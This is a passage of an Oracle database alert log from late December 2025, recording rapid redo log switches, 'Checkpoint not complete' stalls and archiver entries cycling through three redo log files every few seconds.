/u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:23.042648+08:00 ARC2 (PID:1869): Archived Log entry 2468 added for T-1.S-2472 ID 0x75f9c04b LAD:1 2025-12-27T23:18:23.079666+08:00 Thread 1 cannot allocate new log, sequence 2474 Checkpoint not complete Current log# 2 seq# 2473 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:25.996818+08:00 Thread 1 advanced to log sequence 2474 (LGWR switch) Current log# 3 seq# 2474 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:26.039238+08:00 ARC3 (PID:1871): Archived Log entry 2469 added for T-1.S-2473 ID 0x75f9c04b LAD:1 2025-12-27T23:18:26.068897+08:00 Thread 1 cannot allocate new log, sequence 2475 Checkpoint not complete Current log# 3 seq# 2474 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:29.142866+08:00 Thread 1 advanced to log sequence 2475 (LGWR switch) Current log# 1 seq# 2475 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:29.189297+08:00 ARC0 (PID:1861): Archived Log entry 2470 added for T-1.S-2474 ID 0x75f9c04b LAD:1 2025-12-27T23:18:29.231035+08:00 Thread 1 cannot allocate new log, sequence 2476 Checkpoint not complete Current log# 1 seq# 2475 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:32.250996+08:00 Thread 1 advanced to log sequence 2476 (LGWR switch) Current log# 2 seq# 2476 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:32.296055+08:00 ARC1 (PID:1867): Archived Log entry 2471 added for T-1.S-2475 ID 0x75f9c04b LAD:1 2025-12-27T23:18:32.337016+08:00 Thread 1 cannot allocate new log, sequence 2477 Checkpoint not complete Current log# 2 seq# 2476 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:35.341717+08:00 Thread 1 advanced to log sequence 2477 (LGWR switch) Current log# 3 seq# 2477 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:35.387803+08:00 ARC2 (PID:1869): Archived Log entry 2472 added for T-1.S-2476 ID 0x75f9c04b LAD:1 2025-12-27T23:18:35.426831+08:00 Thread 1 cannot allocate new log, sequence 2478 Checkpoint not complete Current log# 3 seq# 2477 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:38.437842+08:00 Thread 1 advanced to log sequence 2478 (LGWR switch) Current log# 1 seq# 2478 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:38.481162+08:00 ARC3 (PID:1871): Archived Log entry 2473 added for T-1.S-2477 ID 0x75f9c04b LAD:1 2025-12-27T23:18:38.521689+08:00 Thread 1 cannot allocate new log, sequence 2479 Checkpoint not complete Current log# 1 seq# 2478 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:41.538507+08:00 Thread 1 advanced to log sequence 2479 (LGWR switch) Current log# 2 seq# 2479 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:41.585342+08:00 ARC0 (PID:1861): Archived Log entry 2474 added for T-1.S-2478 ID 0x75f9c04b LAD:1 2025-12-27T23:18:41.633757+08:00 Thread 1 cannot allocate new log, sequence 2480 Checkpoint not complete Current log# 2 seq# 2479 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:44.654680+08:00 Thread 1 advanced to log sequence 2480 (LGWR switch) Current log# 3 seq# 2480 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:44.699027+08:00 ARC1 (PID:1867): Archived Log entry 2475 added for T-1.S-2479 ID 0x75f9c04b LAD:1 2025-12-27T23:18:44.743700+08:00 Thread 1 cannot allocate new log, sequence 2481 Checkpoint not complete Current log# 3 seq# 2480 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:47.807180+08:00 Thread 1 advanced to log sequence 2481 (LGWR switch) Current log# 1 seq# 2481 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:47.853767+08:00 ARC2 (PID:1869): Archived Log entry 2476 added for T-1.S-2480 ID 0x75f9c04b LAD:1 2025-12-27T23:18:47.887738+08:00 Thread 1 cannot allocate new log, sequence 2482 Checkpoint not complete Current log# 1 seq# 2481 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:50.888197+08:00 Thread 1 advanced to log sequence 2482 (LGWR switch) Current log# 2 seq# 2482 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:50.940910+08:00 ARC3 (PID:1871): Archived Log entry 2477 added for T-1.S-2481 ID 0x75f9c04b LAD:1 2025-12-27T23:18:51.000618+08:00 Thread 1 cannot allocate new log, sequence 2483 Checkpoint not complete Current log# 2 seq# 2482 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:53.999773+08:00 Thread 1 advanced to log sequence 2483 (LGWR switch) Current log# 3 seq# 2483 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:54.038006+08:00 ARC0 (PID:1861): Archived Log entry 2478 added for T-1.S-2482 ID 0x75f9c04b LAD:1 2025-12-27T23:18:54.084498+08:00 Thread 1 cannot allocate new log, sequence 2484 Checkpoint not complete Current log# 3 seq# 2483 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:57.107276+08:00 Thread 1 advanced to log sequence 2484 (LGWR switch) Current log# 1 seq# 2484 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:57.151454+08:00 ARC1 (PID:1867): Archived Log entry 2479 added for T-1.S-2483 ID 0x75f9c04b LAD:1 2025-12-27T23:18:57.195186+08:00 Thread 1 cannot allocate new log, sequence 2485 Checkpoint not complete Current log# 1 seq# 2484 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:00.212424+08:00 Thread 1 advanced to log sequence 2485 (LGWR switch) Current log# 2 seq# 2485 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:00.265736+08:00 ARC2 (PID:1869): Archived Log entry 2480 added for T-1.S-2484 ID 0x75f9c04b LAD:1 2025-12-27T23:19:00.309792+08:00 Thread 1 cannot allocate new log, sequence 2486 Checkpoint not complete Current log# 2 seq# 2485 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:03.363473+08:00 Thread 1 advanced to log sequence 2486 (LGWR switch) Current log# 3 seq# 2486 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:03.407008+08:00 ARC3 (PID:1871): Archived Log entry 2481 added for T-1.S-2485 ID 0x75f9c04b LAD:1 2025-12-27T23:19:03.449908+08:00 Thread 1 cannot allocate new log, sequence 2487 Checkpoint not complete Current log# 3 seq# 2486 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:06.562757+08:00 Thread 1 advanced to log sequence 2487 (LGWR switch) Current log# 1 seq# 2487 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:06.608627+08:00 ARC0 (PID:1861): Archived Log entry 2482 added for T-1.S-2486 ID 0x75f9c04b LAD:1 2025-12-27T23:19:06.654500+08:00 Thread 1 cannot allocate new log, sequence 2488 Checkpoint not complete Current log# 1 seq# 2487 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:09.672072+08:00 Thread 1 advanced to log sequence 2488 (LGWR switch) Current log# 2 seq# 2488 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:09.716263+08:00 ARC1 (PID:1867): Archived Log entry 2483 added for T-1.S-2487 ID 0x75f9c04b LAD:1 2025-12-27T23:19:09.757011+08:00 Thread 1 cannot allocate new log, sequence 2489 Checkpoint not complete Current log# 2 seq# 2488 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:12.700376+08:00 Thread 1 advanced to log sequence 2489 (LGWR switch) Current log# 3 seq# 2489 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:12.744709+08:00 ARC2 (PID:1869): Archived Log entry 2484 added for T-1.S-2488 ID 0x75f9c04b LAD:1 2025-12-27T23:19:12.791076+08:00 Thread 1 cannot allocate new log, sequence 2490 Checkpoint not complete Current log# 3 seq# 2489 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:15.856171+08:00 Thread 1 advanced to log sequence 2490 (LGWR switch) Current log# 1 seq# 2490 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:15.901457+08:00 ARC3 (PID:1871): Archived Log entry 2485 added for T-1.S-2489 ID 0x75f9c04b LAD:1 2025-12-27T23:19:15.948505+08:00 Thread 1 cannot allocate new log, sequence 2491 Checkpoint not complete Current log# 1 seq# 2490 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:18.958485+08:00 Thread 1 advanced to log sequence 2491 (LGWR switch) Current log# 2 seq# 2491 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:19.007355+08:00 ARC0 (PID:1861): Archived Log entry 2486 added for T-1.S-2490 ID 0x75f9c04b LAD:1 2025-12-27T23:19:19.052239+08:00 Thread 1 cannot allocate new log, sequence 2492 Checkpoint not complete Current log# 2 seq# 2491 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:22.115111+08:00 Thread 1 advanced to log sequence 2492 (LGWR switch) Current log# 3 seq# 2492 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:22.160981+08:00 ARC1 (PID:1867): Archived Log entry 2487 added for T-1.S-2491 ID 0x75f9c04b LAD:1 2025-12-27T23:19:22.218817+08:00 Thread 1 cannot allocate new log, sequence 2493 Checkpoint not complete Current log# 3 seq# 2492 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:25.212851+08:00 Thread 1 advanced to log sequence 2493 (LGWR switch) Current log# 1 seq# 2493 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:25.248123+08:00 ARC2 (PID:1869): Archived Log entry 2488 added for T-1.S-2492 ID 0x75f9c04b LAD:1 2025-12-27T23:19:25.288163+08:00 Thread 1 cannot allocate new log, sequence 2494 Checkpoint not complete Current log# 1 seq# 2493 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:28.313797+08:00 Thread 1 advanced to log sequence 2494 (LGWR switch) Current log# 2 seq# 2494 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:28.361358+08:00 ARC3 (PID:1871): Archived Log entry 2489 added for T-1.S-2493 ID 0x75f9c04b LAD:1 2025-12-27T23:19:28.398729+08:00 Thread 1 cannot allocate new log, sequence 2495 Checkpoint not complete Current log# 2 seq# 2494 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:31.468336+08:00 Thread 1 advanced to log sequence 2495 (LGWR switch) Current log# 3 seq# 2495 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:31.517209+08:00 ARC0 (PID:1861): Archived Log entry 2490 added for T-1.S-2494 ID 0x75f9c04b LAD:1 2025-12-27T23:19:31.559687+08:00 Thread 1 cannot allocate new log, sequence 2496 Checkpoint not complete Current log# 3 seq# 2495 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:34.583048+08:00 Thread 1 advanced to log sequence 2496 (LGWR switch) Current log# 1 seq# 2496 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:34.632843+08:00 ARC1 (PID:1867): Archived Log entry 2491 added for T-1.S-2495 ID 0x75f9c04b LAD:1 2025-12-27T23:19:34.677541+08:00 Thread 1 cannot allocate new log, sequence 2497 Checkpoint not complete Current log# 1 seq# 2496 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:37.681881+08:00 Thread 1 advanced to log sequence 2497 (LGWR switch) Current log# 2 seq# 2497 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:37.729086+08:00 ARC2 (PID:1869): Archived Log entry 2492 added for T-1.S-2496 ID 0x75f9c04b LAD:1 2025-12-27T23:19:37.777020+08:00 Thread 1 cannot allocate new log, sequence 2498 Checkpoint not complete Current log# 2 seq# 2497 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:40.723387+08:00 Thread 1 advanced to log sequence 2498 (LGWR switch) Current log# 3 seq# 2498 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:40.753019+08:00 ARC3 (PID:1871): Archived Log entry 2493 added for T-1.S-2497 ID 0x75f9c04b LAD:1 2025-12-27T23:19:40.796196+08:00 Thread 1 cannot allocate new log, sequence 2499 Checkpoint not complete Current log# 3 seq# 2498 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:43.848905+08:00 Thread 1 advanced to log sequence 2499 (LGWR switch) Current log# 1 seq# 2499 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:43.892679+08:00 ARC0 (PID:1861): Archived Log entry 2494 added for T-1.S-2498 ID 0x75f9c04b LAD:1 2025-12-27T23:19:43.944697+08:00 Thread 1 cannot allocate new log, sequence 2500 Checkpoint not complete Current log# 1 seq# 2499 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:46.963062+08:00 Thread 1 advanced to log sequence 2500 (LGWR switch) Current log# 2 seq# 2500 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:47.005372+08:00 ARC1 (PID:1867): Archived Log entry 2495 added for T-1.S-2499 ID 0x75f9c04b LAD:1 2025-12-27T23:19:47.040826+08:00 Thread 1 cannot allocate new log, sequence 2501 Checkpoint not complete Current log# 2 seq# 2500 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:50.073867+08:00 Thread 1 advanced to log sequence 2501 (LGWR switch) Current log# 3 seq# 2501 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:50.120010+08:00 ARC2 (PID:1869): Archived Log entry 2496 added for T-1.S-2500 ID 0x75f9c04b LAD:1 2025-12-27T23:19:50.162076+08:00 Thread 1 cannot allocate new log, sequence 2502 Checkpoint not complete Current log# 3 seq# 2501 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:53.246137+08:00 Thread 1 advanced to log sequence 2502 (LGWR switch) Current log# 1 seq# 2502 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:53.290256+08:00 ARC3 (PID:1871): Archived Log entry 2497 added for T-1.S-2501 ID 0x75f9c04b LAD:1 2025-12-27T23:19:53.335082+08:00 Thread 1 cannot allocate new log, sequence 2503 Checkpoint not complete Current log# 1 seq# 2502 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:19:56.373692+08:00 Thread 1 advanced to log sequence 2503 (LGWR switch) Current log# 2 seq# 2503 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:56.416493+08:00 ARC0 (PID:1861): Archived Log entry 2498 added for T-1.S-2502 ID 0x75f9c04b LAD:1 2025-12-27T23:19:56.460975+08:00 Thread 1 cannot allocate new log, sequence 2504 Checkpoint not complete Current log# 2 seq# 2503 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:19:59.487954+08:00 Thread 1 advanced to log sequence 2504 (LGWR switch) Current log# 3 seq# 2504 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:19:59.533924+08:00 ARC1 (PID:1867): Archived Log entry 2499 added for T-1.S-2503 ID 0x75f9c04b LAD:1 2025-12-27T23:19:59.576176+08:00 Thread 1 cannot allocate new log, sequence 2505 Checkpoint not complete Current log# 3 seq# 2504 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:02.591317+08:00 Thread 1 advanced to log sequence 2505 (LGWR switch) Current log# 1 seq# 2505 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:02.640076+08:00 ARC2 (PID:1869): Archived Log entry 2500 added for T-1.S-2504 ID 0x75f9c04b LAD:1 2025-12-27T23:20:02.678942+08:00 Thread 1 cannot allocate new log, sequence 2506 Checkpoint not complete Current log# 1 seq# 2505 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:05.743308+08:00 Thread 1 advanced to log sequence 2506 (LGWR switch) Current log# 2 seq# 2506 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:05.793084+08:00 ARC3 (PID:1871): Archived Log entry 2501 added for T-1.S-2505 ID 0x75f9c04b LAD:1 2025-12-27T23:20:05.830909+08:00 Thread 1 cannot allocate new log, sequence 2507 Checkpoint not complete Current log# 2 seq# 2506 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:08.883972+08:00 Thread 1 advanced to log sequence 2507 (LGWR switch) Current log# 3 seq# 2507 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:08.925646+08:00 ARC0 (PID:1861): Archived Log entry 2502 added for T-1.S-2506 ID 0x75f9c04b LAD:1 2025-12-27T23:20:08.982097+08:00 Thread 1 cannot allocate new log, sequence 2508 Checkpoint not complete Current log# 3 seq# 2507 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:12.043270+08:00 Thread 1 advanced to log sequence 2508 (LGWR switch) Current log# 1 seq# 2508 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:12.079393+08:00 ARC1 (PID:1867): Archived Log entry 2503 added for T-1.S-2507 ID 0x75f9c04b LAD:1 2025-12-27T23:20:12.124879+08:00 Thread 1 cannot allocate new log, sequence 2509 Checkpoint not complete Current log# 1 seq# 2508 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:15.171408+08:00 Thread 1 advanced to log sequence 2509 (LGWR switch) Current log# 2 seq# 2509 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:15.216259+08:00 ARC2 (PID:1869): Archived Log entry 2504 added for T-1.S-2508 ID 0x75f9c04b LAD:1 2025-12-27T23:20:15.264258+08:00 Thread 1 cannot allocate new log, sequence 2510 Checkpoint not complete Current log# 2 seq# 2509 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:19.268387+08:00 Thread 1 advanced to log sequence 2510 (LGWR switch) Current log# 3 seq# 2510 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:19.306835+08:00 ARC3 (PID:1871): Archived Log entry 2505 added for T-1.S-2509 ID 0x75f9c04b LAD:1 2025-12-27T23:20:19.354682+08:00 Thread 1 cannot allocate new log, sequence 2511 Checkpoint not complete Current log# 3 seq# 2510 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:22.448960+08:00 Thread 1 advanced to log sequence 2511 (LGWR switch) Current log# 1 seq# 2511 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:22.489362+08:00 ARC0 (PID:1861): Archived Log entry 2506 added for T-1.S-2510 ID 0x75f9c04b LAD:1 2025-12-27T23:20:22.529430+08:00 Thread 1 cannot allocate new log, sequence 2512 Checkpoint not complete Current log# 1 seq# 2511 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:25.470143+08:00 Thread 1 advanced to log sequence 2512 (LGWR switch) Current log# 2 seq# 2512 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:25.507409+08:00 ARC1 (PID:1867): Archived Log entry 2507 added for T-1.S-2511 ID 0x75f9c04b LAD:1 2025-12-27T23:20:25.548486+08:00 Thread 1 cannot allocate new log, sequence 2513 Checkpoint not complete Current log# 2 seq# 2512 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:28.630900+08:00 Thread 1 advanced to log sequence 2513 (LGWR switch) Current log# 3 seq# 2513 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:28.675675+08:00 ARC2 (PID:1869): Archived Log entry 2508 added for T-1.S-2512 ID 0x75f9c04b LAD:1 2025-12-27T23:20:28.718878+08:00 Thread 1 cannot allocate new log, sequence 2514 Checkpoint not complete Current log# 3 seq# 2513 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:31.707725+08:00 Thread 1 advanced to log sequence 2514 (LGWR switch) Current log# 1 seq# 2514 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:31.750052+08:00 ARC3 (PID:1871): Archived Log entry 2509 added for T-1.S-2513 ID 0x75f9c04b LAD:1 2025-12-27T23:20:31.809167+08:00 Thread 1 cannot allocate new log, sequence 2515 Checkpoint not complete Current log# 1 seq# 2514 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:34.811975+08:00 Thread 1 advanced to log sequence 2515 (LGWR switch) Current log# 2 seq# 2515 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:34.851346+08:00 ARC0 (PID:1861): Archived Log entry 2510 added for T-1.S-2514 ID 0x75f9c04b LAD:1 2025-12-27T23:20:34.891769+08:00 Thread 1 cannot allocate new log, sequence 2516 Checkpoint not complete Current log# 2 seq# 2515 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:37.979369+08:00 Thread 1 advanced to log sequence 2516 (LGWR switch) Current log# 3 seq# 2516 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:38.026400+08:00 ARC1 (PID:1867): Archived Log entry 2511 added for T-1.S-2515 ID 0x75f9c04b LAD:1 2025-12-27T23:20:38.073032+08:00 Thread 1 cannot allocate new log, sequence 2517 Checkpoint not complete Current log# 3 seq# 2516 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:41.129509+08:00 Thread 1 advanced to log sequence 2517 (LGWR switch) Current log# 1 seq# 2517 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:41.175647+08:00 ARC2 (PID:1869): Archived Log entry 2512 added for T-1.S-2516 ID 0x75f9c04b LAD:1 2025-12-27T23:20:41.220774+08:00 Thread 1 cannot allocate new log, sequence 2518 Checkpoint not complete Current log# 1 seq# 2517 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:44.280830+08:00 Thread 1 advanced to log sequence 2518 (LGWR switch) Current log# 2 seq# 2518 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:44.320002+08:00 ARC3 (PID:1871): Archived Log entry 2513 added for T-1.S-2517 ID 0x75f9c04b LAD:1 2025-12-27T23:20:44.383447+08:00 Thread 1 cannot allocate new log, sequence 2519 Checkpoint not complete Current log# 2 seq# 2518 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:47.346646+08:00 Thread 1 advanced to log sequence 2519 (LGWR switch) Current log# 3 seq# 2519 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:47.393861+08:00 ARC0 (PID:1861): Archived Log entry 2514 added for T-1.S-2518 ID 0x75f9c04b LAD:1 2025-12-27T23:20:47.613202+08:00 Thread 1 cannot allocate new log, sequence 2520 Checkpoint not complete Current log# 3 seq# 2519 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:50.448341+08:00 Thread 1 advanced to log sequence 2520 (LGWR switch) Current log# 1 seq# 2520 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:50.497138+08:00 ARC1 (PID:1867): Archived Log entry 2515 added for T-1.S-2519 ID 0x75f9c04b LAD:1 2025-12-27T23:20:50.537867+08:00 Thread 1 cannot allocate new log, sequence 2521 Checkpoint not complete Current log# 1 seq# 2520 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:53.583977+08:00 Thread 1 advanced to log sequence 2521 (LGWR switch) Current log# 2 seq# 2521 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:53.629901+08:00 ARC2 (PID:1869): Archived Log entry 2516 added for T-1.S-2520 ID 0x75f9c04b LAD:1 2025-12-27T23:20:53.671011+08:00 Thread 1 cannot allocate new log, sequence 2522 Checkpoint not complete Current log# 2 seq# 2521 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:20:56.729811+08:00 Thread 1 advanced to log sequence 2522 (LGWR switch) Current log# 3 seq# 2522 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:56.771325+08:00 ARC3 (PID:1871): Archived Log entry 2517 added for T-1.S-2521 ID 0x75f9c04b LAD:1 2025-12-27T23:20:56.817440+08:00 Thread 1 cannot allocate new log, sequence 2523 Checkpoint not complete Current log# 3 seq# 2522 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:20:59.829853+08:00 Thread 1 advanced to log sequence 2523 (LGWR switch) Current log# 1 seq# 2523 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:20:59.882261+08:00 ARC0 (PID:1861): Archived Log entry 2518 added for T-1.S-2522 ID 0x75f9c04b LAD:1 2025-12-27T23:20:59.929649+08:00 Thread 1 cannot allocate new log, sequence 2524 Checkpoint not complete Current log# 1 seq# 2523 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:02.931405+08:00 Thread 1 advanced to log sequence 2524 (LGWR switch) Current log# 2 seq# 2524 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:02.976503+08:00 ARC1 (PID:1867): Archived Log entry 2519 added for T-1.S-2523 ID 0x75f9c04b LAD:1 2025-12-27T23:21:03.019177+08:00 Thread 1 cannot allocate new log, sequence 2525 Checkpoint not complete Current log# 2 seq# 2524 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:06.041945+08:00 Thread 1 advanced to log sequence 2525 (LGWR switch) Current log# 3 seq# 2525 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:06.096026+08:00 ARC2 (PID:1869): Archived Log entry 2520 added for T-1.S-2524 ID 0x75f9c04b LAD:1 2025-12-27T23:21:06.129767+08:00 Thread 1 cannot allocate new log, sequence 2526 Checkpoint not complete Current log# 3 seq# 2525 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:09.153873+08:00 Thread 1 advanced to log sequence 2526 (LGWR switch) Current log# 1 seq# 2526 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:09.209813+08:00 ARC3 (PID:1871): Archived Log entry 2521 added for T-1.S-2525 ID 0x75f9c04b LAD:1 2025-12-27T23:21:09.248761+08:00 Thread 1 cannot allocate new log, sequence 2527 Checkpoint not complete Current log# 1 seq# 2526 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:12.255030+08:00 Thread 1 advanced to log sequence 2527 (LGWR switch) Current log# 2 seq# 2527 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:12.311838+08:00 ARC0 (PID:1861): Archived Log entry 2522 added for T-1.S-2526 ID 0x75f9c04b LAD:1 2025-12-27T23:21:12.353655+08:00 Thread 1 cannot allocate new log, sequence 2528 Checkpoint not complete Current log# 2 seq# 2527 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:15.404481+08:00 Thread 1 advanced to log sequence 2528 (LGWR switch) Current log# 3 seq# 2528 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:15.452805+08:00 ARC1 (PID:1867): Archived Log entry 2523 added for T-1.S-2527 ID 0x75f9c04b LAD:1 2025-12-27T23:21:15.493686+08:00 Thread 1 cannot allocate new log, sequence 2529 Checkpoint not complete Current log# 3 seq# 2528 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:18.476249+08:00 Thread 1 advanced to log sequence 2529 (LGWR switch) Current log# 1 seq# 2529 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:18.531171+08:00 ARC2 (PID:1869): Archived Log entry 2524 added for T-1.S-2528 ID 0x75f9c04b LAD:1 2025-12-27T23:21:18.568014+08:00 Thread 1 cannot allocate new log, sequence 2530 Checkpoint not complete Current log# 1 seq# 2529 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:21:21.582323+08:00 Thread 1 advanced to log sequence 2530 (LGWR switch) Current log# 2 seq# 2530 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:21.630301+08:00 ARC3 (PID:1871): Archived Log entry 2525 added for T-1.S-2529 ID 0x75f9c04b LAD:1 2025-12-27T23:21:21.669892+08:00 Thread 1 cannot allocate new log, sequence 2531 Checkpoint not complete Current log# 2 seq# 2530 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:21:24.651670+08:00 Thread 1 advanced to log sequence 2531 (LGWR switch) Current log# 3 seq# 2531 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:24.678123+08:00 ARC0 (PID:1861): Archived Log entry 2526 added for T-1.S-2530 ID 0x75f9c04b LAD:1 2025-12-27T23:21:24.718065+08:00 Thread 1 cannot allocate new log, sequence 2532 Checkpoint not complete Current log# 3 seq# 2531 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:21:27.796835+08:00 Thread 1 advanced to log sequence 2532 (LGWR switch) Current log# 1 seq# 2532 mem# 0: 